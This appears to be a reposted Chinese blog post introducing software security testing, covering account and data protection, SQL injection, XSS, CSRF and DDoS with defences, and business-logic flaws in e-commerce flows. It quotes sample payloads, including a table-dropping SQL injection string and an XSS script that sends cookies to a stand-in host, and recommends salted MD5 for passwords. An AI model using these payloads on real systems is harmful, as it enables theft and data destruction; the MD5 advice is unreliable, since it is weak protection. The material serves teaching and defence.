系統(tǒng)安全測試要怎么做,詳細來說說!
一、開場白
我剛開始接觸安全測試的時候,想的最多就是那種在昏暗的燈光下,帶著神秘面具的黑客,對著鍵盤噼里啪啦一頓猛如虎的操作,然后長舒一口氣,最后來了句yes,完美收工!
隨后的職業(yè)生涯中,在同行的帶領(lǐng)下開始了第一次安全測試之旅。當時大致的過程如下,選擇一款安全掃描工具(Appscan),配置好要掃描的網(wǎng)站地址、登錄信息等。
點擊開始掃描:two thousands years later,Appscan生成了一份非常詳細的安全測試報告,然后我們對這份詳細的報告里面的安全問題進行了一一驗證,最后再提交給開發(fā)進行修復(fù)。
經(jīng)歷了這次實戰(zhàn)之后,讓我覺得安全測試只不過如此嘛,隨著個人工作經(jīng)驗的不斷積累,我對于安全測試的理解也越來越深刻,因此記錄個人對于安全測試的理解。
對于軟件安全測試,本次主要分享以下幾類安全問題:
第一類:軟件系統(tǒng)的賬戶及數(shù)據(jù)安全;
第二類:常見的Web攻擊及防御手段;
第三類:業(yè)務(wù)系統(tǒng)測試可能存在的安全。
以下內(nèi)容限于個人水平有限,如有敘述不當,還請海涵。
二、軟件系統(tǒng)的帳號及數(shù)據(jù)安全
可以說大部分的公司,對于我們核心系統(tǒng)的賬戶/密碼的保護幾乎為零,任何一個員工的任何一個理由就能輕易的拿到管理后臺的賬戶和密碼,并且對于這個賬戶的密碼幾乎也不做任何的定期修改。
還有的公司直接將客戶的用戶名和密碼打印在日志里面,對于這類情況,其最大的問題在于公司缺少對于這塊的風險意識和完善的安全機制,總會覺得一切沒有那么巧合,或許到這你才恍然發(fā)現(xiàn),為什么我們的信息會被泄露。
新聞媒體經(jīng)常報道,某某因販賣用戶資料被逮捕,但是沒抓到的又有多少呢?之前我在的一家公司,一小伙為了利益,將公司500G的客戶資料賣給了競爭對手,被當場抓住,之所以能抓住,一切得力于公司健全的安全機制,對于軟件系統(tǒng)而言,客戶的信息至關(guān)重要,切莫讓悲劇發(fā)生!
三、常見的Web攻擊及防御手段
在互聯(lián)網(wǎng)開始興起之初,存在各式各樣的Web安全問題,不過現(xiàn)在隨著各種框架的不斷誕生,對于此類的安全問題都做得比較好了,同時也有很多掃描工具可以完成安全掃描,所以這塊對于我們來說不需要投入太多的精力。
但是,從學習的角度來說,了解一下常見的web攻擊及防御手段也是有必要的。
1、SQL注入
概念
通過sql命令偽裝成正常的http請求參數(shù),傳遞到服務(wù)器端,服務(wù)器執(zhí)行sql命令造成對數(shù)據(jù)庫進行攻擊。
案例
' or '1'= '1。這是最常見的sql注入攻擊,當我們輸入用戶名admin,然后密碼輸入'or '1'= '1的時候,我們在查詢用戶名和密碼是否正確的時候,本來要執(zhí)行的是select * from user where username=user and password=pwd,經(jīng)過參數(shù)拼接后,會執(zhí)行sql語句 select * from user where username='admin' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了。
但是如果再嚴重一點,密碼輸入的是';drop table user;--,那么sql命令為select * from user where username='admin' and password='';drop table user;--' 這個時候我們就直接把這個表給刪除了。
被攻擊的原因
sql語句偽造參數(shù),然后在對參數(shù)進行拼接的后形成破壞性的sql語句,最后導致數(shù)據(jù)庫受到攻擊。
預(yù)防
在Java中,我們可以使用預(yù)編譯語句(PreparedStatement),這樣的話即使我們使用sql語句偽造成參數(shù),到了服務(wù)端的時候,這個偽造sql語句的參數(shù)也只是簡單的字符,并不能起到攻擊的作用。
很多orm框架已經(jīng)可以對參數(shù)進行轉(zhuǎn)義。
做最壞的打算,即使被’拖庫‘。數(shù)據(jù)庫中密碼不應(yīng)明文存儲的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以采用加鹽的(數(shù)據(jù)庫存儲用戶名,鹽(隨機字符長),md5后的密文)方式。
2、XSS(跨站腳本攻擊)
概念
全稱是跨站腳本攻擊(Cross Site Scripting),指攻擊者在網(wǎng)頁中嵌入惡意腳本程序。
案例
比如說我寫了一個博客網(wǎng)站,然后攻擊者在上面發(fā)布了一個文章,內(nèi)容是這樣的:
<script>window.open(“www.gongji.com?param=”+document.cookie)</script>
(左右滑動查看完整代碼)
如果我沒有對他的內(nèi)容進行處理,直接存儲到數(shù)據(jù)庫,那么下一次當其他用戶訪問他的這篇文章的時候,服務(wù)器從數(shù)據(jù)庫讀取后然后響應(yīng)給客戶端,瀏覽器執(zhí)行了這段腳本,然后就把該用戶的cookie發(fā)送到攻擊者的服務(wù)器了。
被攻擊的原因
用戶輸入的數(shù)據(jù)變成了代碼,比如說上面的< 轉(zhuǎn)義成<。
3、跨站請求偽造(CSRF)
概念
全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任用戶的進行訪問。
通俗的講就是說我訪問了A網(wǎng)站,然后cookie存在了瀏覽器,然后我又訪問了一個流氓網(wǎng)站,不小心點了流氓網(wǎng)站一個鏈接(向A發(fā)送請求),這個時候流氓網(wǎng)站利用了我的身份對A進行了訪問。
案例
比如說我登錄了A銀行網(wǎng)站,然后我又訪問了室友給的一個流氓網(wǎng)站,然后點了里面的一個鏈接 www.A.com/transfer?account=666&money=10000,那么這個時候很可能我就向賬號為666的人轉(zhuǎn)了1wRMB。
注意這個攻擊方式不一定是我點了這個鏈接,也可以是這個網(wǎng)站里面一些資源請求指向了這個轉(zhuǎn)賬鏈接,比如說一個圖片。
被攻擊的原因
用戶本地存儲cookie,攻擊者利用用戶的cookie進行認證,然后偽造用戶發(fā)出請求。
預(yù)防
之所以被攻擊是因為攻擊者利用了存儲在瀏覽器用于用戶認證的cookie,那么如果我們不用cookie來驗證不就可以預(yù)防了。所以我們可以采用token(不存儲于瀏覽器)認證。
通過referer識別,HTTP Referer是header的一部分,當瀏覽器向web服務(wù)器發(fā)送請求的時候,一般會帶上Referer,告訴服務(wù)器我是從哪個頁面鏈接過來的,服務(wù)器因此可以獲得一些信息用于處理。
那么這樣的話,我們必須登錄銀行A網(wǎng)站才能進行轉(zhuǎn)賬了。
4、DDOS攻擊
概念
分布式拒絕服務(wù)攻擊(Distributed Denial of Service),簡單說就是發(fā)送大量請求使服務(wù)器癱瘓。
DDOS攻擊是在DOS攻擊基礎(chǔ)上的??梢酝ㄋ桌斫猓珼OS是單挑,而DDOS是群毆,因為現(xiàn)代技術(shù)的發(fā)展,DOS攻擊的殺傷力降低,所以出現(xiàn)了DDOS,攻擊者借助公共網(wǎng)絡(luò),將大數(shù)量的計算機設(shè)備聯(lián)合起來,向一個或多個目標進行攻擊。
案例
SYN Flood,簡單說一下tcp三次握手,客戶端向服務(wù)器發(fā)出請求,請求建立連接,然后服務(wù)器返回一個報文,表明請求被接受,然后客戶端也會返回一個報文,最后建立連接。
那么如果有這么一種情況,攻擊者偽造ip地址,發(fā)出報文給服務(wù)器請求連接,這個時候服務(wù)器接收到了,根據(jù)tcp三次握手的規(guī)則,服務(wù)器也要回應(yīng)一個報文,可是這個ip是偽造的,報文回應(yīng)給誰呢,第二次握手出現(xiàn)錯誤,第三次自然也就不能順利進行了,這個時候服務(wù)器收不到第三次握手時客戶端發(fā)出的報文,又再重復(fù)第二次握手的操作。
如果攻擊者偽造了大量的ip地址并發(fā)出請求,這個時候服務(wù)器將維護一個非常大的半連接等待列表,占用了大量的資源,最后服務(wù)器癱瘓。
CC攻擊,在應(yīng)用層http協(xié)議上發(fā)起攻擊,模擬正常用戶發(fā)送大量請求直到該網(wǎng)站拒絕服務(wù)為止。
被攻擊的原因
服務(wù)器帶寬不足,不能擋住攻擊者的攻擊流量。
預(yù)防
最直接的方法增加帶寬。但是攻擊者用各地的電腦進行攻擊,他的帶寬不會耗費很多錢,但對于服務(wù)器來說,帶寬非常昂貴。
云服務(wù)提供商有自己的一套完整DDoS解決方案,并且能提供豐富的帶寬資源
四、業(yè)務(wù)系統(tǒng)測試可能存在的安全問題
我們先來看一個比較通用的電商流程圖,從這個流程圖中,我們?nèi)シ治隹赡鼙缓雎缘陌踩珕栴}。
1、注冊、登錄
注冊登錄功能,常見的業(yè)務(wù)安全漏洞:暴力破解、短信驗證碼回傳、短信轟炸、惡意短信發(fā)送,縱向越權(quán)登錄。
2、用戶數(shù)據(jù)
用戶數(shù)據(jù)功能,常見的業(yè)務(wù)安全漏洞:通過訂單號或id直接查詢數(shù)據(jù)詳情,不做用戶關(guān)聯(lián)校驗。
3、數(shù)據(jù)查詢
數(shù)據(jù)查詢功能,常見的業(yè)務(wù)安全漏洞:惡意爬取數(shù)據(jù),該模塊一般不會存在太多安全問題,但需要將之后的下單功能進行觀察,即,在進行查詢開關(guān)的控制時,下單接口也必須要進行控制。
4、下單
下單功能,常見的業(yè)務(wù)漏洞:不支持的權(quán)限使用(使用不支持的紅包進行下單)及開關(guān)未驗證,庫存或臨界值被擊穿(并發(fā)測試),優(yōu)惠券,積分被擊穿,訂單信息被篡改(基礎(chǔ)信息、價格等),惡意占庫存。
5、取消下單
取消訂單功能,常見的業(yè)務(wù)漏洞:并發(fā)測試取消庫存。
6、支付
支付功能,常見的業(yè)務(wù)漏洞:支付金額篡改,付款前取消訂單,先付款再更新訂單金額。
7、訂單完成
訂單完成功能:常見的業(yè)務(wù)漏洞,積分、優(yōu)惠券未送到本訂單的用戶。
8、退貨
退貨功能:并發(fā)退貨,庫存返回正確,扣減的,積分或優(yōu)惠券余額不足。
9、用戶輸入
用戶輸入可能涉及到j(luò)s注入,敏感信息,生成大量垃圾數(shù)據(jù)。
五、常用防御手段
1、增加安全處理策略;
2、數(shù)據(jù)脫敏:加簽、加密;
3、IP黑白名單;
4、引入安全測試。
原文鏈接:https://www.cnblogs.com/win0211/p/15555518.html
作者:Python測試社區(qū)
歡迎關(guān)注微信公眾號 :Python測試社區(qū)